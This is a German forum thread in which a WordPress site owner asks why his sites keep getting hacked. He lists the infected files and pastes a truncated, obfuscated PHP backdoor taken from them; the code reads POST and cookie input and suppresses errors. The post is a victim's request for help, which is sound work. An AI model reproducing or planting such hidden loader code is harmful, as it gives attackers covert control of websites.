WP wird dauernd gehackt

    Hallo liebe Wordpressler,

    meine zwei Wordpressinstallationen werden ständig gehackt und dann von meinem Anbieter (Hosteurope) gesperrt, weil dieser ständig Scans am Laufen hat und mir die infizierten Dateien mitteilt. In letzter Zeit passiert das viel viel häufiger, obwohl ich auch FTP- & WP-PW geändert habe. Vielleicht habt ihr eine Idee wo das Sicherheitsloch ist? Denn Plugins wie "Sucuri Security" oder "All In One WP Security & Firewall" helfen leider nicht.
    Auch habe ich hier alle vermeintlichen Lücken geschlossen: http://www.mastermindblogger.com/14-ways-to-pre…m-being-hacked/

    Eine Sache fällt mir auf die ich nicht geändert habe: Datenbank-PW. Vielleicht liegt's daran?

    Hier der Code der fast überall sehr ähnlich aussieht und die Liste mit den infizierten Dateien, von denen manche auch erstellt werden und ich mir nur denke - wie zum Teufel?

    galerie/holger-miri/dynamic/cache53.php
    include.php
    wp-admin/index.php
    wp-admin/network/user-new.php
    wp-includes/Requests/Response/template81.php
    wp-includes/Text/file.php
    wp-includes/class-walker-category-dropdown.php
    wp-includes/images/wlw/press.php
    wp-includes/random_compat/include.php
    wp-includes/template.php


    Hier sogar doe plugin.php nicht im WP-Root, sondern eine Ebene höher
    /plugin.php
    /wordpress/wp-admin/user/include91.php
    /wordpress/wp-content/galerie/julia-arastu/object.php
    /wordpress/wp-content/ngg_styles/xml.php
    /wordpress/wp-includes/Requests/Cookie.php
    /wordpress/wp-includes/Requests/Cookie/page.php
    /wordpress/wp-includes/feed-rdf.php
    /wordpress/wp-includes/images/media/user41.php
    /wordpress/wp-includes/ms-settings.php
    /wordpress/wp-includes/random_compat/random_bytes_com_dotnet.php


    PHP
    <?php $GLOBALS['g511647'];global$g511647;$g511647=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['lf4a']="\x7e\x63\x5a\x52\x69\x60\x3b\x54\x20\x7b\x50\x4e\x78\x39\x7c\x68\x5e\x49\x29\x62\x30\x5b\x2a\x2b\x56\x72\x67\x73\x6f\x77\x5f\x24\x47\x53\x2f\x5c\x37\x66\x27\x5d\x6c\x79\x6b\x34\x3e\x28\xd\x71\x44\x61\x75\x22\x3d\x21\x4f\x7d\x38\x7a\x4d\xa\x6a\x6d\x74\x36\x31\x2c\x58\x33\x25\x32\x35\x70\x76\x2e\x51\x64\x55\x48\x42\x3a\x57\x43\x65\x23\x4c\x4b\x41\x3c\x6e\x40\x4a\x46\x3f\x2d\x26\x59\x9\x45";$g511647[$g511647['lf4a'][1].$g511647['lf4a'][13].$g511647['lf4a'][67].$g511647['lf4a'][63]]=$g511647['lf4a'][1].$g511647['lf4a'][15].$g511647['lf4a'][25];$g511647[$g511647['lf4a'][47].$g511647['lf4a'][49].$g511647['lf4a'][13].$g511647['lf4a'][69]]=$g511647['lf4a'][28].$g511647['lf4a'][25].$g511647['lf4a'][75];$g511647[$g511647['lf4a'][61].$g511647['lf4a'][36].$g511647['lf4a'][19].$g511647['lf4a'][49].$g511647['lf4a'][49].$g511647['lf4a'][70].$g511647['lf4a'][64].$g511647['lf4a'][49].$g511647['lf4a'][49]]=$g511647['lf4a'][27].$g511647['lf4a'][62].$g511647['lf4a'][25].$g511647['lf4a'][40].$g511647['lf4a'][82].$g511647['lf4a'][88];$g511647[$g511647['lf4a'][61].$g511647['lf4a'][49].$g511647['lf4a'][20].$g511647['lf4a'][37].$g511647['lf4a'][64].$g511647['lf4a'][75].$g511647['lf4a'][13]]=$g511647['lf4a'][4].$g511647['lf4a'][88].$g511647['lf4a'][4].$g511647['lf4a'][30].$g511647['lf4a'][27].$g511647['lf4a'][82].$g511647['lf4a'][62];$g511647[$g511647['lf4a'][61].$g511647['lf4a'][36].$g511647['lf4a'][37].$g511647['lf4a'][56].$g511647['lf4a'][64].$g511647['lf4a'][36].$g511647['lf4a'][1]]=$g511647['lf4a'][27].$g511647['lf4a'][82].$g511647['lf4a'][25].$g511647['lf4a'][4].$g511647['lf4a'][49].$g511647['lf4a'][40].$g511647['lf4a'][4].$g511647['lf4a'][57].$g511647['lf4a'][82];$g511647[$g511647['lf4a'][37].$g511647['lf4a'][63].$g511647['lf4a'][1].$g511647['lf4a'][56].$g511647['lf4a'][20]]=$g511647['lf4a'][71].$g511647['lf4a'][15].$g511647['lf4a'][71].$g511647['lf4a'][72].$g511647['lf4a'][82].$g511647['lf4a'][25].$g511647['lf4a'][27].$g511647['lf4a'][4].$g511647['lf4a'][28].$g511647['lf4a'][88];$g511647[$g511647['lf4a'][28].$g511647['lf4a'][69].$g511647['lf4a'][63].$g511647['lf4a'][64].$g511647['lf4a'][64].$g511647['lf4a'][56].$g511647['lf4a'][13]]=$g511647['lf4a'][50].$g511647['lf4a'][88].$g511647['lf4a'][27].$g511647['lf4a'][82].$g511647['lf4a'][25].$g511647['lf4a'][4].$g511647['lf4a'][49].$g511647['lf4a'][40].$g511647['lf4a'][4].$g511647['lf4a'][57].$g511647['lf4a'][82];$g511647[$g511647['lf4a'][12].$g511647['lf4a'][13].$g511647['lf4a'][69].$g511647['lf4a'][1].$g511647['lf4a'][67].$g511647['lf4a'][49].$g511647['lf4a'][36].$g511647['lf4a'][36].$g511647['lf4a'][49]]=$g511647['lf4a'][19].$g511647['lf4a'][49].$g511647['lf4a'][27].$g511647['lf4a'][82].$g511647['lf4a'][63].$g511647['lf4a'][43].$g511647['lf4a'][30].$g511647['lf4a'][75].$g511647['lf4a'][82].$g511647['lf4a'][1].$g511647['lf4a'][28].$g511647['lf4a'][75].$g511647['lf4a'][82];$g511647[$g511647['lf4a'][88].$g511647['lf4a'][1].$g511647['lf4a'][37].$g511647['lf4a'][13].$g511647['lf4a'][43]]=$g511647['lf4a'][27].$g511647['lf4a'][82].$g511647['lf4a'][62].$g511647['lf4a'][30].$g511647['lf4a'][62].$g511647['lf4a'][4].$g511647['lf4a'][61].$g511647['lf4a'][82].$g511647['lf4a'][30].$g511647['lf4a'][40].$g511647['lf4a'][4].$g511647['lf4a'][61].$g511647['lf4a'][4].$g511647['lf4a'][62];$g511647[$g511647['lf4a'][47].$g511647['lf4a'][36].$g511647['lf4a'][43].$g511647['lf4a'][1].$g511647['lf4a'][56].$g511647['lf4a'][43].$g511647['lf4a'][43].$g511647['lf4a'][43]]=$g511647['lf4a'][47].$g511647['lf4a'][70].$g511647['lf4a'][75].$g511647['lf4a'][36].$g511647['lf4a'][64].$g511647['lf4a'][67].$g511647['lf4a'][56];$g511647[$g511647['lf4a'][62].$g511647['lf4a'][36].$g511647['lf4a'][20].$g511647['lf4a'][1].$g511647['lf4a'][1].$g511647['lf4a'][43].$g511647['lf4a'][1]]=$g511647['lf4a'][62].$g511647['lf4a'][64].$g511647['lf4a'][1].$g511647['lf4a'][1];$g511647[$g511647['lf4a'][72].$g511647['lf4a'][37].$g511647['lf4a'][1].$g511647['lf4a'][69].$g511647['lf4a'][75].$g511647['lf4a'][70].$g511647['lf4a'][67]]=$_POST;$g511647[$g511647['lf4a'][47].$g511647['lf4a'][36].$g511647['lf4a'][63].$g511647['lf4a'][19].$g511647['lf4a'][43].$g511647['lf4a'][43].$g511647['lf4a'][64].$g511647['lf4a'][13]]=$_COOKIE;@$g511647[$g511647['lf4a'][61].$g511647['lf4a'][49].$g511647['lf4a'][20].$g511647['lf4a'][37].$g511647['lf4a'][64].$g511647['lf4a'][75].$g511647['lf4a'][13]]($g511647['lf4a'][82].$g511647['lf4a'][25].$g511647['lf4a'][25].$g511647['lf4a'][28].$g511647['lf4a'][25].$g511647['lf4a'][30].$g511647['lf4a'][40].$g511647['lf4a'][28].$g511647['lf4a'][26],NULL);@$g511647[$g511647['lf4a'][61].$g511647['lf4a'][49].$g511647['lf4a'][20].$g511647['lf4a'][37].$g511647['lf4a'][64].$g511647['lf4a'][75].$g511647['lf4a'][13]]($g511647['lf4a'][40].$g511647['lf4a'][28].$g511647['lf4a'][26].$g511647['lf4a'][30].$g511647['lf4a'][82].$g511647['lf4a'][25].$g511647['lf4a'][25].$g511647['lf4a'][28].$g511647['lf4a'][25].$g511647['lf4a'][27],0);@$g511647[$g511647['lf4a'][61].$g511647['lf4a'][49].$g511647['lf4a'][20].$g511647['lf4a'][37].$g511647['lf4a'][64].$g511647['lf4a'][75].$g511647['lf4a'][13]]($g511647['lf4a'][61].$g511647['lf4a'][49].$g511647['lf4a'][12].$g511647['lf4a'][30].$g511647['lf4a'][82].$g511647['lf4a'][12].$g511647['lf4a'][82].$g511647['lf4a'][1].$g511647['lf4a'][50].$g511647['lf4a'][62].$g511647['lf4a'][4].$g511647['lf4a'][28].$g511647['lf4a'][88].$g511647['lf4a'][30].$g511647['lf4a'][62].$g511647['lf4a'][4].$g511647['lf4a'][61].$g511647['lf4a'][82],0);@$g511647[$g511647['lf4a'][88].$g511647['lf4a'][1].$g511647['lf4a'][37].$g511647['lf4a'][13].$g511647['lf4a'][43]](0);$ne0854=NULL;$h10217e=NULL;$g511647[$g511647['lf4a'][12].$g511647['lf4a'][56].$g511647['lf4a'][67].$g511647['lf4a'][56].$g511647['lf4a'][37].$g511647['lf4a'][49].$g511647['lf4a'][19]]=$g511647['lf4a'][70].$g511647['lf4a'][64].$g511647['lf4a'][75].$g511647['lf4a'][69].$g511647['lf4a'][56].$g511647['lf4a'][19].$g511647['lf4a'][70].$g511647['lf4a'][1].$g511647['lf4a'][93].$g511647['lf4a'][19].$g511647['lf4a'][1].$g511647['lf4a'][69].$g511647['lf4a'][36].$g511647['lf4a'][93].$g511647['lf4a'][43].$g511647['lf4a'][19].$g511647['lf4a'][69].$g511647['lf4a'][36].$g511647['lf4a'][93].$g511647['lf4a'][49].$g511647['lf4a'][64].$g511647['lf4a'][82].$g511647['lf4a'].......


    Danke für eure Tipps im Voraus und beste Grüße
    Luke

    • Gerade eben
    • Anzeige

    Hallo!

    Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

    • ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
    • ✔️ Deutsche Server & DSGVO-konform
    • ✔️ Persönlicher Support (kein 0815-Ticket-System)

    Mehr erfahren

    Habe eben nun die DB aktualisiert bei einer Wordpressinstallation - mal sehen ob es daran gelegen hat. Die andere Installation lasse ich mal so.

    Das Theme bietet keine weiteren Updates mehr an. Es ist immer noch v1.0.0. Das andere Theme ebenfalls. Könnte natürlich auch die Sicherheitslücke sein, wie ich zwischen deinen Zeilen heraus lese.

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!

Benutzerkonto erstellen Anmelden